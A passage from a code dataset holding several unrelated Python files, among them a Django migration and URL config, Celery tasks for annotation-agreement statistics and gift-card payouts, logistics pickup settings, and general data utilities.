label=\"Training loss\")\n plt.plot(epochs, val_loss, \"r\", label=\"Validation loss\")\n plt.title(\"Training and Validation Loss\")\n plt.xlabel(\"Epochs\")\n plt.ylabel(\"Loss\")\n plt.legend()\n plt.show()\n","sub_path":"Deployment/utils/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"312606084","text":"# encoding: utf-8\nimport alembic\nimport logging\nimport mock\nfrom fluff.util import get_column_type\nfrom south.v2 import DataMigration\nfrom sqlalchemy import Unicode, UnicodeText\n\nfrom dimagi.utils.couch import sync_docs\nfrom corehq.apps.userreports import models as userreports_models\nfrom corehq.apps.userreports import sql\nfrom corehq.db import Session\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef old_get_column_type(data_type):\n \"\"\"\n This function recreates the pre-migration behavior of\n corehq.apps.userreports.sql._get_column_type\n \"\"\"\n return get_column_type(data_type)\n\n\nclass Migration(DataMigration):\n\n\n def forwards(self, orm):\n return _alter_tables_helper(_get_all_pre_migration_tables, _should_alter_column, _alter_column)\n\n def backwards(self, orm):\n # NOTE! This assumes all Text fields should go back to being varchar(255) fields.\n # You will be very sad if you have data longer than 255 characters\n # in your text fields\n return _alter_tables_helper(_get_all_tables, _should_reverse_column, _reverse_column)\n\n\n models = {}\n complete_apps = ['userreports']\n\n\ndef _alter_tables_helper(get_tables_func, column_checker_func, column_alter_func):\n _sync_couch()\n tables = get_tables_func()\n session = Session()\n\n try:\n connection = session.connection()\n ctx = alembic.migration.MigrationContext.configure(connection)\n op = alembic.operations.Operations(ctx)\n\n for table in tables:\n logger.info(\"Checking table {}\".format(table.name))\n for column in table.columns:\n if column_checker_func(column):\n logger.info(\"Altering {}\".format(column))\n column_alter_func(op, table, column)\n else:\n logger.info(\"Skipping {}\".format(column))\n session.commit()\n except:\n session.rollback()\n raise\n finally:\n session.close()\n\n\ndef _sync_couch():\n \"\"\"\n Sync couch docs before running the sql migration as it requires data from couch\n \"\"\"\n sync_docs.sync(userreports_models, verbosity=2)\n\n\n@mock.patch('corehq.apps.userreports.sql.columns._get_column_type', old_get_column_type)\ndef _get_all_pre_migration_tables():\n return _get_all_tables()\n\n\ndef _get_all_tables():\n session = Session()\n try:\n connection = session.connection()\n tables = [\n sql.get_indicator_table(config) for config in\n userreports_models.DataSourceConfiguration.all()\n ]\n return [t for t in tables if t.exists(bind=connection)]\n except:\n session.rollback()\n raise\n finally:\n session.close()\n\n\ndef _should_alter_column(col):\n if isinstance(col.type, Unicode):\n if col.type.length == 255:\n return True\n else:\n raise Exception(\"Unexpected Unicode column length: {}\".format(col.type.length))\n return False\n\n\ndef _alter_column(op, table, column):\n op.alter_column(table.name, column.name, type_=UnicodeText())\n\n\ndef _should_reverse_column(col):\n if isinstance(col.type, UnicodeText):\n return True\n return False\n\n\ndef _reverse_column(op, table, column):\n op.alter_column(table.name, column.name, type_=Unicode(length=255))\n","sub_path":"corehq/apps/userreports/south_migrations/0002_convert_varchar_to_text.py","file_name":"0002_convert_varchar_to_text.py","file_ext":"py","file_size_in_byte":3297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"612475981","text":"\"\"\"qbetl URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom rest_framework import routers\nfrom rest_framework.authtoken import views\nfrom invoice.restviewsets import CsvFileViewSet, CsvFileResultViewSet, FieldMappingViewSet, UserConnectionViewSet, \\\n BatchInvoiceResultsViewSet\nfrom invoice.views import get_dashboard_kpi, get_field_mapping, get_items, get_customers, post_invoice, \\\n post_invoice_legacy, get_field_mapping_legacy, post_invoice_legacy2, get_report\nfrom qbconnect.views import connect_with_qb, connect_with_qb_success_handler\nfrom billdotcom.views import fetch_data, fetch_bill_from_db, fetch_bill_approvers, approve_bill, send_auth_token, \\\n verify_authentication_token, pay_bills\n\nrouter = routers.DefaultRouter()\nrouter.register(r'csv', CsvFileViewSet, 'csvfile')\nrouter.register(r'csvresult', CsvFileResultViewSet, 'csvfileresult')\nrouter.register(r'fieldmapping', FieldMappingViewSet, 'fieldmapping')\nrouter.register(r'userconnection', UserConnectionViewSet, 'userconnection')\nrouter.register(r'batchInvoiceresults', BatchInvoiceResultsViewSet, 'batchInvoiceresults')\n\nurlpatterns = [\n path('qbetl/admin/', admin.site.urls),\n url(r'^qbetl/api-token-auth/', views.obtain_auth_token),\n url(r'^qbetl/api/', include(router.urls)),\n url(r'^qbetl/api/filedmappinglegacy', get_field_mapping_legacy),\n url(r'^qbetl/api/invoice', post_invoice),\n url(r'^qbetl/api/post/invoicelegacy', post_invoice_legacy),\n url(r'^qbetl/api/post/excel/invoicelegacy', post_invoice_legacy2),\n url(r'qbetl/api/dashboard', get_dashboard_kpi),\n url(r'qbetl/api/customers', get_customers),\n url(r'qbetl/api/reports', get_report),\n url(r'qbetl/api/items', get_items),\n url(r'^qbetl/api-auth/', include('rest_framework.urls')),\n url(r'^qbetl/connect/', connect_with_qb),\n url(r'^qbetl/connectsuccess/', connect_with_qb_success_handler),\n url(r'^qbetl/fetch_data/', fetch_data, ),\n url(r'^qbetl/fetch_db_bills/', fetch_bill_from_db, ),\n url(r'^qbetl/fetch_bill_approvers/', fetch_bill_approvers, ),\n url(r'^qbetl/approve_bill/', approve_bill, ),\n url(r'^qbetl/send_auth_token/', send_auth_token, ),\n url(r'^qbetl/verify_auth_token/', verify_authentication_token, ),\n url(r'^qbetl/pay_bill/', pay_bills, ),\n\n]\n","sub_path":"qbetl/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"467455322","text":"from django.core.context_processors import csrf\nfrom django.forms.models import modelformset_factory\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponseRedirect\nfrom django.template import RequestContext\n\nfrom .models import Todo\n\n\ndef index(request):\n TodoFormSet = modelformset_factory(Todo, can_delete=True)\n if request.method == 'POST':\n formset = TodoFormSet(request.POST)\n if formset.is_valid():\n formset.save()\n return HttpResponseRedirect(\"/\")\n else:\n formset = TodoFormSet()\n\n return render_to_response(\n 'index.html',\n {'formset': formset},\n context_instance=RequestContext(request),\n )\n","sub_path":"demo/demo/todos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"227188552","text":"# TODO: separate idempotent parts into separate file?\nfrom operator import attrgetter\nfrom collections import defaultdict\nimport logging\n\nimport numpy as np\nfrom statsmodels.stats.inter_rater import fleiss_kappa, cohens_kappa\nfrom funcy import group_by, cat, distinct, first, chain\nfrom celery import shared_task\nfrom django.db import transaction\nfrom django.db.models import F\n\nfrom core.conf import redis_client\nfrom core.tasks import update_dashboard\nfrom .models import (SeriesTag, SerieValidation, SampleValidation,\n UserStats, ValidationJob, Payment, PaymentState)\n\n\nlogger = logging.getLogger(__name__)\n\n\n# TODO: get rid of flag\n@shared_task(acks_late=True)\ndef validation_workflow(sv_id, is_new=True):\n series_tag_id = SerieValidation.objects.get(pk=sv_id).series_tag_id\n\n if is_new:\n calc_validation_stats(sv_id)\n else:\n validations = SerieValidation.objects.filter(series_tag=series_tag_id, pk__gte=sv_id) \\\n .order_by('pk')\n for v in validations:\n calc_validation_stats(v.pk, recalc=True)\n\n update_canonical_annotation(series_tag_id)\n update_dashboard.delay()\n\n\n# TODO: get rid of recalc flag, separate function into 2 or 3:\n# - idempotent stats calculation\n# - stats and reschedule\n@shared_task(acks_late=True)\n@transaction.atomic\ndef calc_validation_stats(serie_validation_pk, recalc=False):\n serie_validation = SerieValidation.objects.select_for_update().get(pk=serie_validation_pk)\n # Guard from double update, so that user stats won't be messed up\n if not recalc and serie_validation.samples_total is not None:\n return\n series_tag = serie_validation.series_tag\n if not series_tag:\n return\n\n # Compare to annotation\n sample_validations = serie_validation.sample_validations.all()\n sample_annotations = series_tag.sample_tags.all()\n\n if set(r.sample_id for r in sample_validations) \\\n != set(r.sample_id for r in sample_annotations):\n logger.error(\"Sample sets mismatch for validation %d\" % serie_validation_pk)\n # It's either bug when making annotation or samples set really changed\n series_tag.is_active = False\n series_tag.save()\n # TODO: notify annotation author to redo it\n return\n\n _fill_concordancy(sample_validations, sample_annotations)\n\n # Fill serie validation stats\n serie_validation.samples_total = len(sample_validations)\n serie_validation.samples_concordant = sum(s.concordant for s in sample_validations)\n serie_validation.annotation_kappa = _cohens_kappa(sample_validations, sample_annotations)\n\n # Compare to other validations\n earlier_validations = series_tag.validations.filter(pk__lt=serie_validation_pk, ignored=False) \\\n .order_by('pk')\n # TODO: use .prefetch_related()\n earlier_sample_validations = group_by(\n lambda v: v.serie_validation_id,\n SampleValidation.objects.filter(serie_validation__in=earlier_validations)\n )\n\n if not serie_validation.concordant:\n serie_validation.agrees_with = first(\n v for v in earlier_validations\n if v.created_by_id != serie_validation.created_by_id\n and is_samples_concordant(earlier_sample_validations[v.pk], sample_validations)\n )\n\n # NOTE: this includes kappas against your prev validations\n serie_validation.best_kappa = max(chain(\n [serie_validation.annotation_kappa],\n (_cohens_kappa(sample_validations, sv) for sv in earlier_sample_validations.values())\n ))\n serie_validation.save()\n\n # Calculate fleiss kappa for all existing annotations/validations\n annotation_sets = [sample_annotations, sample_validations] \\\n + earlier_sample_validations.values()\n series_tag.fleiss_kappa = _fleiss_kappa(annotation_sets)\n if not serie_validation.on_demand and not serie_validation.ignored \\\n and (serie_validation.concordant or serie_validation.agrees_with):\n series_tag.agreed = earlier_validations.count() + 1\n series_tag.save()\n\n # TODO: make this separate task ?\n if not recalc and not serie_validation.on_demand and not serie_validation.by_incompetent:\n _update_user_stats(serie_validation) # including payment ones\n\n # TODO: make this separate task ?\n # Reschedule validation if no agreement found\n if not series_tag.agreed and not recalc and not serie_validation.on_demand \\\n and not serie_validation.by_incompetent:\n # Schedule revalidations with priority < 0, that's what new validations have,\n # to phase out garbage earlier\n _reschedule_validation(serie_validation, priority=series_tag.fleiss_kappa - 1)\n\n\ndef _fill_concordancy(sample_validations, reference):\n tags_by_sample = {obj.sample_id: obj for obj in reference}\n\n for sv in sample_validations:\n sample_tag = tags_by_sample[sv.sample_id]\n sv.concordant = sv.annotation == (sample_tag.annotation or '')\n sv.save()\n\n\ndef _update_user_stats(serie_validation):\n def lock_author_stats(work):\n stats, _ = UserStats.objects.select_for_update().get_or_create(user_id=work.created_by_id)\n return stats\n\n # Update validating user stats\n stats = lock_author_stats(serie_validation)\n stats.serie_validations += 1\n stats.sample_validations += serie_validation.samples_total\n if serie_validation.concordant:\n stats.serie_validations_concordant += 1\n stats.sample_validations_concordant += serie_validation.samples_concordant\n\n # Pay for all samples, but only if entire serie is concordant\n if serie_validation.concordant or serie_validation.agrees_with:\n stats.earn_validations(serie_validation.samples_total)\n stats.save()\n\n # Update annotation author payment stats\n if serie_validation.concordant:\n author_stats = lock_author_stats(serie_validation.series_tag)\n author_stats.earn_annotations(serie_validation.samples_total)\n author_stats.save()\n\n # Update the author of earlier matching validation\n if serie_validation.agrees_with:\n author_stats = lock_author_stats(serie_validation.agrees_with)\n author_stats.earn_validations(serie_validation.samples_total)\n author_stats.save()\n\n\ndef _reschedule_validation(serie_validation, priority=None):\n failed = SerieValidation.objects \\\n .filter(series_tag=serie_validation.series_tag, on_demand=False).count()\n if failed >= 5:\n logger.info('Failed validating %s serie tag %d times',\n serie_validation.series_tag_id, failed)\n return\n\n ValidationJob.objects.create(series_tag=serie_validation.series_tag, priority=priority)\n\n\ndef is_samples_concordant(sample_annos1, sample_annos2):\n ref = {obj.sample_id: obj for obj in sample_annos1}\n return all((ref[v.sample_id].annotation or '') == (v.annotation or '')\n for v in sample_annos2)\n\n\ndef _fleiss_kappa(sample_sets):\n all_samples_annos = cat(sample_sets)\n categories = distinct(sv.annotation or '' for sv in all_samples_annos)\n category_index = {c: i for i, c in enumerate(categories)}\n\n stats = defaultdict(lambda: [0] * len(categories))\n for sv in all_samples_annos:\n stats[sv.sample_id][category_index[sv.annotation or '']] += 1\n\n return fleiss_kappa(stats.values())\n\ndef _cohens_kappa(annos1, annos2):\n assert set(s.sample_id for s in annos1) == set(s.sample_id for s in annos2)\n\n categories = distinct(sv.annotation or '' for sv in chain(annos1, annos2))\n category_index = {c: i for i, c in enumerate(categories)}\n\n table = np.zeros((len(categories), len(categories)))\n annos1 = sorted(annos1, key=attrgetter('sample_id'))\n annos2 = sorted(annos2, key=attrgetter('sample_id'))\n for sv1, sv2 in zip(annos1, annos2):\n table[category_index[sv1.annotation or ''], category_index[sv2.annotation or '']] += 1\n\n return cohens_kappa(table, return_results=False)\n\n\n@shared_task(acks_late=True)\n@transaction.atomic\ndef update_canonical_annotation(series_tag_pk):\n st = SeriesTag.objects.select_for_update().get(pk=series_tag_pk)\n validations = st.validations.filter(ignored=False).order_by('pk')\n\n best_cohens_kappa = max(v.best_kappa for v in validations) if validations else None\n\n # Update samples to be canonical\n source = first(v for v in validations if v.concordant or v.agrees_with) \\\n or first(v for v in validations if v.best_kappa == best_cohens_kappa)\n\n if source:\n current_samples = st.canonical.sample_annotations.all()\n source_samples = source.sample_validations.all()\n # If samples set changed then just replace everything\n if set(o.sample_id for o in current_samples) != set(o.sample_id for o in source_samples):\n current_samples.delete()\n st.canonical.fill_samples(source_samples)\n elif not is_samples_concordant(current_samples, source_samples):\n anno_by_sample = {obj.sample_id: obj.annotation for obj in source_samples}\n for sample_anno in current_samples:\n sample_anno.annotation = anno_by_sample[sample_anno.sample_id]\n sample_anno.save()\n\n # Update canonical stats\n st.canonical.header = source.column if source else st.header\n st.canonical.regex = source.regex if source else (st.regex or '')\n st.canonical.annotations = validations.count() + 1\n st.canonical.authors = len(set(v.created_by_id for v in validations) | {st.created_by_id})\n st.canonical.fleiss_kappa = st.fleiss_kappa\n st.canonical.best_cohens_kappa = best_cohens_kappa\n st.canonical.save()\n\n\nfrom tango import place_order\n\n@shared_task(acks_late=True)\ndef redeem_earnings(receiver_id=None, amount=None, method='Tango Card API', sender_id=None):\n # We need to create a pending payment in a separate transaction to be safe from double card\n # ordering. This way even if we fail at any moment later payment and new stats will persist\n # and won't allow us to issue a new card for same work.\n with transaction.atomic():\n stats = UserStats.objects.select_for_update().get(user_id=receiver_id)\n # If 2 redeem attempts are tried simultaneously than first one will lock samples,\n # and second one should just do nothing.\n amount = amount or stats.unpayed\n if not amount:\n logger.error('Nothing to redeem for user %d', receiver_id)\n return\n if amount > stats.unpayed:\n logger.error('Trying to redeem %s but user %d has only %s',\n amount, receiver_id, stats.unpayed)\n return\n\n # Create pending payment\n payment = Payment.objects.create(\n receiver_id=receiver_id,\n amount=amount,\n method=method,\n created_by_id=sender_id or receiver_id,\n state=PaymentState.PENDING,\n )\n\n # Update stats\n stats.payed += amount\n stats.save()\n\n with transaction.atomic():\n # Relock this so that nobody will alter or remove it concurrently\n payment = Payment.objects.select_for_update().get(pk=payment.pk)\n if payment.state != PaymentState.PENDING:\n return\n user = payment.receiver\n\n try:\n result = place_order(\n name='%s %s' % (user.first_name, user.last_name),\n email=user.email,\n amount=payment.amount,\n )\n except Exception as e:\n result = {\n 'success': False,\n 'exception_class': e.__class__.__name__,\n 'exception_args': getattr(e, 'args', ()),\n }\n\n # Update payment\n payment.state = PaymentState.DONE if result['success'] else PaymentState.FAILED\n payment.extra = result\n payment.save()\n\n # Restore samples stats as they were before payment lock,\n # so that another attempt could be made.\n if not result['success']:\n UserStats.objects.filter(user_id=receiver_id) \\\n .update(payed=F('payed') - payment.amount)\n\n # Remove in-progress flag\n redis_client.delete('redeem:%d' % receiver_id)\n\n\n@transaction.atomic\ndef donate_earnings(user_id):\n stats = UserStats.objects.select_for_update().get(user_id=user_id)\n amount = stats.unpayed\n\n if not amount:\n return\n\n # Create payment to log all operations\n Payment.objects.create(\n receiver_id=user_id,\n amount=amount,\n method='Donate',\n created_by_id=user_id,\n state=PaymentState.DONE,\n )\n\n stats.payed += amount\n stats.save()\n","sub_path":"tags/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":12693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"315292888","text":"PICKUP_STATUS = [\n (u'opn', u'Open'),\n (u'sch', u'WIP'),\n (u'dis', u'Dispatched'),\n (u'com', u'Picked Up'),\n (u'inc', u'Not Picked'),\n (u'exp', u'Expired'),\n (u'can', u'Cancelled'),\n]\n\nEOD_PICKUP_STATUS = [\n (u'com', u'Picked Up'),\n (u'inc', u'Not Picked')\n]\n\n# NOTE: After adding new choice here,\n# be sure to update postgresql to accomodate\n# size of frequency in firstmile.Schedule model\n# sample script file at firstmile/sql/schedule_days_length_increase.sql\nPICKUP_DAY_CHOICES = [\n (u'mon', u'Monday'),\n (u'tue', u'Tuesday'),\n (u'wed', u'Wednesday'),\n (u'thu', u'Thursday'),\n (u'fri', u'Friday'),\n (u'sat', u'Saturday'),\n (u'sun', u'Sunday'),\n]\n\nFM_EOD_NOT_PICKED_REASONS = [\n 'Attempted: No Pickup Available',\n 'Attempted: Shipment not ready (Reattempt)',\n 'Attempted: Concerned person was unavailable',\n 'Attempted: Holiday- Shipper closed',\n 'Cancelled: Request was cancelled',\n 'Cancelled: Cancelled-Duplicate Request',\n 'Missed: FE/GC reached late',\n 'Missed: Promised re-attempt by GC/FE',\n 'Missed: Pick-up not passed by pick-up coordinator',\n 'Missed: Pick-up passed late by pick-up coordinator',\n 'Missed: Call not recieved from FE/GC',\n 'Missed: FE/GC vehicle broke down',\n 'Missed: Vehicle requirement not conveyed',\n 'Missed: Destination/pincode not served',\n 'Missed: Wrongly registered by shipper',\n 'Missed: FE/GC met with an accident',\n]\n\nPICKUP_TYPE = ((u'once', u'Once'), (u'daily', u'Daily'))\n\nSCHEDULED_REQUEST_EXPIRY_DATE = (2099, 12, 31)\nROUTE_EXPIRY_DATE = (2099, 12, 31)\n\n\n# define all permissions for firstmile here\nPERMISSIONS = (\n ('can_create_fm_pickuprequest', 'Can Create FM Pickuprequest'),\n ('can_create_fm_route', 'Can Create FM Route'),\n ('can_view_fm_reports', 'Can View FM Reports'),\n ('can_view_fm_manifest', 'Can View FM Manifest'),\n ('can_create_pkg_skel_web', 'Can Create Skeleton Package via web'),\n ('can_run_fm_update_pickuprequests',\n 'Can Run FM Update Pickup Request Task'),\n ('can_search_fm_pickups', 'Can search FM Pickups'),\n ('can_create_pickup_request', 'Can Create Pickup Request')\n)\n\n\nDEFAULT_FROM_EMAIL = 'noreply@delhivery.com'\n\nREPORT_EMAIL_SUB = 'FM Report {0}'\n\nREPORT_EMAIL_MSG = 'Hi,
\\\n Your Report is ready for Download.
\\\n

\\\n Click Here to Download
\\\n

\\\n NOTE: \\\n Please note this link will expire in 30 days.\\\n

Regards'\n\n\nFM_DISPATCH_API_KEYS = ['cn', 'vn', 'cd', 'dwbn', 'dn', 'ds', 't', 'pup',\n 'du', 'eod', 'cpd', 'dpd']\n\n# NSL code to apply on pkgs which are recieved via FM web incoming\nPKG_FM_INC_MF_NSL = u'X-PROM' # FM incoming of Manifested pkg\nPKG_FM_INC_NMF_NSL = u'X-PRONM' # FM incoming of Non Manifested pkg\n# pupid for for pkgs which enter system via FM incoming\nPKG_FM_INC_PUP = u'FMINC'\n#NSL for van scan\nPKG_FM_CUSTODY_SCAN = u'CS-102'\n\n#number of pickup requests displayed on search page\nPICKUP_PER_PAGE = 50\n\nPICKUP_CREATION_STATUS = [u'opn', u'sch', u'dis']\n\nSEARCH_CRITERIA_PICKUP = ['opn', 'sch', 'com', 'inc', 'can']\n\n# not picked nsl on package after FM Pickup\nFM_NOT_PICKED_NSL = u'X-PRAP'\n","sub_path":"firstmile/app_settings.py","file_name":"app_settings.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"615428695","text":"#!/usr/bin/env python\n# encoding: utf-8\n# author :yuanpeng\n# created time: 2018年04月02日 星期一 11时29分08秒\n\nimport os\nimport sys\nimport time\nimport copy\nimport tempfile\nimport shutil\nfrom contextlib import contextmanager\nfrom functools import wraps\nimport multiprocessing\n\n\nimport numpy as np\nimport pandas as pd\n\nif sys.version_info.major == 2:\n import Queue\n\n_FLOATX = 'float32'\n_INTX = 'int32'\n\n\ndef floatx(dtype=_FLOATX):\n return convert_string_to_dtype(dtype)\n\n\ndef intx(dtype=_INTX):\n return convert_string_to_dtype(dtype)\n\n\ndef convert_string_to_dtype(s):\n if s in ['float32', 'np.float32']:\n return np.float32\n\n elif s in ['float64', 'np.float64']:\n return np.float64\n\n elif s in ['int32', 'np.int32']:\n return np.int32\n\n elif s in ['int64', 'np.int64']:\n return np.int64\n\n else:\n raise ValueError(\"Invalid string: {0}.\".format(s))\n\n\ndef convert_labels_to_array(labels):\n if len(labels) == 0:\n return labels\n\n labels = np.asarray(labels, dtype=floatx())\n if len(labels.shape) == 1:\n labels = np.reshape(labels, (-1, 1))\n\n return labels\n\n\n@contextmanager\ndef temp_file(file_path):\n \"\"\"\n this func do two things\n 1.\n step 1: create a tmp dir as \"/tmp/random_dir_name\" (for example \"/tmp/tmpcZNVin\")\n step 2: create a copy file of \"file_path\" at the above tmp dir\n 2.\n delete dir \"/tmp/random_dir_name\" after \"with\" statement block\n\n >>> with open('foo.txt', 'w') as f_w:\n f_w.write('1234567890')\n\n >>> with temp_file('./foo.txt') as temp_f:\n with open(temp_f, 'r') as f_r:\n lines = f_r.readlines()\n print('file path: ', temp_f)\n print('lines: ', lines)\n\n >>> ('file path: ', /tmp/tmpcZNVin/foo.txt)\n >>> ('lines: ', ['1234567890'])\n\n inputs\n ------\n file_path: file path\n \"\"\"\n temp_dir = tempfile.mkdtemp()\n base_name = os.path.basename(file_path)\n new_file = os.path.join(temp_dir, base_name)\n\n with open(file_path, 'r') as f_r:\n lines = f_r.readlines()\n with open(new_file, 'w') as f_w:\n f_w.writelines(lines)\n\n yield new_file\n shutil.rmtree(temp_dir)\n\n\ndef one_hot_transformer(indices, n):\n \"\"\"\n :param indices: list, tuple, or nd.array type, for example [0, 3, 1, 2]\n if \"indices\" do not started from 0, translation\n indices -= np.min(indices) will be conducted\n :param n: int, satisfying np.max(indices) < n\n :return: np.eye(n)[indices]\n \"\"\"\n\n if isinstance(indices, (tuple, list)):\n idx = [int(i) for i in indices]\n idx = np.asarray(idx, dtype=intx())\n\n elif isinstance(indices, np.ndarray):\n idx = np.asarray(indices, dtype=intx())\n\n else:\n raise Exception('Input arg must be of type \"np.ndarray\", \\\n \"list\" or \"tuple\", {0} received.'.format(type(idx)))\n\n idx -= np.min(idx)\n\n assert np.max(idx) < n, 'np.max(x): {0} must be less than n: {1}'.format(np.max(idx), n)\n\n return np.eye(n)[idx]\n\n\ndef check_args_type_length(*args):\n \"\"\"\n assert input args have same data type, and same length\n :param args: list, tuple, dic or np.ndarray\n :return: True if same data type and length satisfied, otherwise False\n \"\"\"\n if len(args) == 0:\n return True\n data_types = [str(type(arg)) for arg in args]\n data_lengths = [len(arg) for arg in args]\n\n if len(set(data_types)) > 1:\n assert False, 'Input args have data_types: {0}'.format(data_types)\n\n if len(set(data_lengths)) > 1:\n assert False, 'Input args have data_lengths: {0}'.format(data_lengths)\n\n if isinstance(args[0], dict):\n keys = args[0].keys()\n for arg in args:\n assert sorted(keys) == sorted(arg.keys()), \\\n 'Input dicts must have same keys.'\n return True\n\n\ndef shuffle_idx(idx_list, seed=None):\n rng = np.random.RandomState(seed)\n idx = rng.permutation(idx_list)\n return idx\n\n\ndef shuffle_args(*args, **kwargs):\n \"\"\"\n shuffle the input arguments with the sample random-state seed\n params: numpy.ndarray type of data and must with SAME LENGTH\n return: list of args after shuffled\n >>> x = np.arange(12).reshape(3, 4)\n >>> y = np.arange(3)\n >>> x_new, y_new = shuffle(x, y)\n x_new; y_new\n [[4, 5, 6, 7],\n [8, 9, 10, 11],\n [0, 1, 2, 3]]\n [1, 2, 0]\n \"\"\"\n allowed_kwargs = ['seed']\n for key in kwargs:\n if key not in allowed_kwargs:\n raise ValueError('Invalid key received: {0}.'.format(key))\n\n check_args_type_length(*args)\n\n if isinstance(args[0], (np.ndarray, list, tuple)):\n idx = shuffle_idx(range(len(args[0])), **kwargs)\n\n elif isinstance(args[0], dict):\n idx = shuffle_idx(args[0].keys(), **kwargs)\n\n new_args = []\n for arg in args:\n new_arg = gen_batch(arg, idx)\n new_args.append(new_arg)\n\n if len(args) == 1:\n return new_args[0]\n else:\n return new_args\n\n\n\ndef split_indices(indices, ratios=(0.8, 0.2)):\n \"\"\"\n split \"indices\" into k folds according to provided ratios\n for example,\n >>> s1, s2 = split_indices(range(10), ratios=(0.8, 0.2))\n >>> assert s1 == [0, 1, 2, 3, 4, 5, 6, 7] and s2 == [8, 9]\n\n :param indices: list of index\n :param ratios: tuple of ratio, sum(ratio) <= 1.\n :return: list of splitted indices according to ratios\n \"\"\"\n p_string = 'Input indices must be type or or np.ndarray,\\\n {0} received.'.format(type(indices))\n\n assert isinstance(indices, (list, tuple, np.ndarray,range)), p_string\n\n if isinstance(indices, np.ndarray):\n assert len(indices.shape) == 1\n\n p_string = 'Invalid ratio: {0}.'.format(ratios)\n cum_sum_r = np.cumsum(ratios).tolist() # for example, cum_sum_r=[0.8, 1.0]\n cum_sum_r.insert(0, 0.0) # cum_sum_r=[0.0, 0.8, 1.0]\n assert cum_sum_r[-1] <= 1., p_string\n cum_sum_indices = [int(len(indices) * r) for r in cum_sum_r]\n\n splitted_indices = []\n for idx1, idx2 in zip(cum_sum_indices[0:-1], cum_sum_indices[1:]):\n splitted_indices.append(indices[idx1: idx2])\n\n return splitted_indices\n\n\ndef safe_division_numpy(a, b):\n \"\"\"\n c[c == np.inf] = 0.\n c[c == -np.inf] = 0.\n c = np.nan_to_num(c)\n \"\"\"\n is_converted = False\n with np.errstate(divide='ignore', invalid='ignore'):\n c = np.true_divide(a, b)\n if not isinstance(c, np.ndarray):\n c = np.array([c])\n is_converted = True\n c[c == np.inf] = 0.\n c[c == -np.inf] = 0.\n # replacing NaN with zero, (positive) infinity with a very large number\n # and negative infinity with a very small negative number\n c = np.nan_to_num(c)\n\n if is_converted:\n c = c[0]\n\n return c\n\n\nclass MultiTaskSampleWeights(object):\n \"\"\"\n >>> labels_arrays=[y1, y2, ..]\n >>> mtsw = MultiTaskSampleWeights(valid_labels=[0, 1])\n >>> for y in labels_arrays:\n mtsw.fit(y)\n\n >>> test_y = ...\n >>> test_weights = mtsw.apply(test_y)\n \"\"\"\n def __init__(self, valid_labels, columns=[], batch_size=10000):\n self.columns = columns\n self.valid_labels = set(valid_labels)\n self.batch_size = batch_size\n self.valid_sum_dict = {'total': 0.}\n\n self.fitted = False\n\n def fit(self, array_or_csvFile, verbose=True):\n if isinstance(array_or_csvFile, str):\n assert os.path.exists(array_or_csvFile)\n self._fit_from_csvFile(array_or_csvFile, verbose=verbose)\n elif isinstance(array_or_csvFile, np.ndarray):\n self._fit_batch(array_or_csvFile)\n else:\n raise ValueError('Unknown data type {0}'.format(type(array_or_csvFile)))\n\n\n def summarize(self):\n self.unnormalized_weights = {}\n self.normalized_weights = {}\n for e in self.valid_labels:\n self.unnormalized_weights[e] = safe_division_numpy(\n self.valid_sum_dict['total'],\n self.valid_sum_dict[e])\n\n def normalize(sample_weights):\n sum_col = []\n for col in sample_weights.T:\n sum_col.append(np.sum(np.unique(col)))\n #sum_col.append(np.sum(col))\n\n scale = np.asarray(sum_col).reshape((1, -1))\n return scale\n\n weights_sum = np.concatenate(self.unnormalized_weights.values(), axis=0)\n scale = normalize(weights_sum)\n for e in self.valid_labels:\n self.normalized_weights[e] = self.unnormalized_weights[e] / scale\n\n self.fitted = True\n\n\n def apply(self, batch_labels):\n if not self.fitted:\n self.summarize()\n sample_weights = np.zeros_like(batch_labels).astype(np.float32)\n\n total_sum = self.valid_sum_dict['total']\n for e in self.valid_labels:\n weight_e = self.normalized_weights[e]\n weight_e = np.tile(weight_e, (len(batch_labels), 1))\n sample_weights[np.where(batch_labels == e)] = weight_e[np.where(batch_labels == e)]\n\n return sample_weights\n\n def _fit_from_csvFile(self, csvFile, verbose):\n reader = pd.read_csv(csvFile, iterator=True)\n n_samples = 0\n while(1):\n try:\n batch_df = reader.get_chunk(self.batch_size)\n if len(self.columns) > 0:\n array = batch_df[self.columns].values\n else:\n array = batch_df.values\n self._fit_batch(array)\n n_samples += len(array)\n if verbose:\n print('fiting: {0}'.format(n_samples))\n\n except StopIteration:\n break\n\n\n def _fit_batch(self, batch_labels):\n assert len(batch_labels.shape) == 2\n\n for e in self.valid_labels:\n elem_sum = np.sum(batch_labels == e, axis=0, keepdims=True).astype(np.float32)\n try:\n self.valid_sum_dict[e] += elem_sum\n except KeyError:\n self.valid_sum_dict[e] = elem_sum\n\n self.valid_sum_dict['total'] += elem_sum\n\n\ndef time_it(function):\n @wraps(function)\n def function_timer(*args, **kwargs):\n t0 = time.time()\n result = function(*args, **kwargs)\n t1 = time.time()\n print (\"Total time running %s: %s seconds\" % (function.func_name, str(t1 - t0)))\n\n return result\n return 